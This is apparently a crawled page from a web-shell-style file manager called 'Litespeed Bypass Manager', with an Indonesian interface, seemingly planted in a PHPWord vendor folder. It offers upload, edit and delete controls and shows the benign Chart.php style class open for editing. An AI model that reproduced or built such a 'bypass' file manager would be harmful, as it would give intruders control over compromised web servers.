Litespeed Bypass Manager
Direktori:
/admin/vendor/phpoffice/phpword/src/PhpWord/Style
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📄 AbstractStyle.php
Edit
Hapus
📄 Border.php
Edit
Hapus
📄 Cell.php
Edit
Hapus
📄 Chart.php
Edit
Hapus
📄 Extrusion.php
Edit
Hapus
📄 Fill.php
Edit
Hapus
📄 Font.php
Edit
Hapus
📄 Frame.php
Edit
Hapus
📄 Image.php
Edit
Hapus
📄 Indentation.php
Edit
Hapus
📄 Language.php
Edit
Hapus
📄 Line.php
Edit
Hapus
📄 LineNumbering.php
Edit
Hapus
📄 ListItem.php
Edit
Hapus
📄 Numbering.php
Edit
Hapus
📄 NumberingLevel.php
Edit
Hapus
📄 Outline.php
Edit
Hapus
📄 Paper.php
Edit
Hapus
📄 Paragraph.php
Edit
Hapus
📄 Row.php
Edit
Hapus
📄 Section.php
Edit
Hapus
📄 Shading.php
Edit
Hapus
📄 Shadow.php
Edit
Hapus
📄 Shape.php
Edit
Hapus
📄 Spacing.php
Edit
Hapus
📄 TOC.php
Edit
Hapus
📄 Tab.php
Edit
Hapus
📄 Table.php
Edit
Hapus
📄 TextBox.php
Edit
Hapus
Edit File: Chart.php
<?php /** * This file is part of PHPWord - A pure PHP library for reading and writing * word processing documents. * * PHPWord is free software distributed under the terms of the GNU Lesser * General Public License version 3 as published by the Free Software Foundation. * * For the full copyright and license information, please read the LICENSE * file that was distributed with this source code. For the full list of * contributors, visit https://github.com/PHPOffice/PHPWord/contributors. * * @see https://github.com/PHPOffice/PHPWord * @copyright 2010-2017 PHPWord contributors * @license http://www.gnu.org/licenses/lgpl.txt LGPL version 3 */ namespace PhpOffice\PhpWord\Style; /** * Chart style * * @since 0.12.0 */ class Chart extends AbstractStyle { /** * Width (in EMU) * * @var int */ private $width = 1000000; /** * Height (in EMU) * * @var int */ private $height = 1000000; /** * Is 3D; applies to pie, bar, line, area * * @var bool */ private $is3d = false; /** * Create a new instance * * @param array $style */ public function __construct($style = array()) { $this->setStyleByArray($style); } /** * Get width * * @return int */ public function getWidth() { return $this->width; } /** * Set width * * @param int $value * @return self */ public function setWidth($value = null) { $this->width = $this->setIntVal($value, $this->width); return $this; } /** * Get height * * @return int */ public function getHeight() { return $this->height; } /** * Set height * * @param int $value * @return self */ public function setHeight($value = null) { $this->height = $this->setIntVal($value, $this->height); return $this; } /** * Is 3D * * @return bool */ public function is3d() { return $this->is3d; } /** * Set 3D * * @param bool $value * @return self */ public function set3d($value = true) { $this->is3d = $this->setBoolVal($value, $this->is3d); return $this; } }
Simpan
Catatan: Mengedit file biner tidak disarankan.